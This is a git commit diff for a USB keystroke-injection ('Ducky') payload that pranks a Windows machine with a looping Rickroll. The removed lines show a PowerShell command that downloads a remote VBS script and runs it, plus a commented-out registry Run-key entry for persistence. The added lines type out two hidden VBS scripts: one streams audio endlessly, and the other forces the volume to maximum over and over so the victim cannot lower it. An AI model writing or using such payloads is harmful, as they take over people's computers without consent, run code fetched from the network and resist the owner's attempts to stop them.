This is a modification from the real "Rickroll". It does the same, but it's got a big difference: It sets the volume to the maximum continuously. If someone tries to get down the volume, a vbs resets it to the maximum level. It doesn't need admin permissions, because it doesn't work with powershell.

This commit is contained in:
BlueArduino20 2017-04-12 15:09:00 +02:00
parent 468cf468a0
commit 93ba2f1e94
1 changed files with 47 additions and 12 deletions

View File

@ -1,17 +1,52 @@
GitLab repo: https://gitlab.com/WarKitteh/arduino-hid-rickroll
Based on: https://gitlab.com/WarKitteh/arduino-hid-rickroll
GitLab repo (Modded): https://github.com/BlueArduino20/Rickroll-MODDED
It creates and starts 2 vbs files. One of them plays Never Gonna Give You Up from Rick Astley on a loop without any windows showing up. Another vbs file sets the volume to the maximum continuously and if someone tries to get down the volume, it will reset the volume to the maximum level.
Ducky code:
`DELAY 1000
GUI x
DELAY 200
UP
REPEAT 7
<pre><code>
DELAY 3500
GUI r
DELAY 200
STRING cmd
ENTER
DELAY 500
ALT y
DELAY 200
STRING powershell (new-object System.Net.WebClient).DownloadFile('https://gitlab.com/WarKitteh/arduino-hid-rickroll/raw/cee63bb220c856587462b29d61bdfc70c806805f/rickroll.vbs','%userprofile%\rickroll.vbs'); && start %userprofile%\rickroll.vbs && exit
REM powershell (new-object System.Net.WebClient).DownloadFile('https://gitlab.com/WarKitteh/arduino-hid-rickroll/raw/cee63bb220c856587462b29d61bdfc70c806805f/rickroll.vbs','%userprofile%\rickroll.vbs'); && start %userprofile%\rickroll.vbs && reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v TotallyNotShadyStartupItem /d %userprofile%\rickroll.vbs && exit
DELAY 200
ENTER`
STRING cd %tmp% && copy con rickyou.vbs
ENTER
STRING While true
ENTER
STRING Dim oPlayer
ENTER
STRING Set oPlayer = CreateObject("WMPlayer.OCX")
ENTER
STRING oPlayer.URL = "https://pixelcoding.nl/download/rickroll.mp3"
ENTER
STRING oPlayer.controls.play
ENTER
STRING While oPlayer.playState <> 1 ' 1 = Stopped
ENTER
STRING WScript.Sleep 100
ENTER
STRING Wend
ENTER
STRING oPlayer.close
ENTER
STRING Wend
ENTER
DELAY 100
CTRL z
ENTER
STRING copy con volup.vbs
ENTER
STRING do
ENTER
STRING Set WshShell = CreateObject("WScript.Shell")
ENTER
STRING WshShell.SendKeys(chr(&hAF))
ENTER
STRING loop
ENTER
CTRL z
ENTER
STRING start rickyou.vbs && volup.vbs
</pre></code>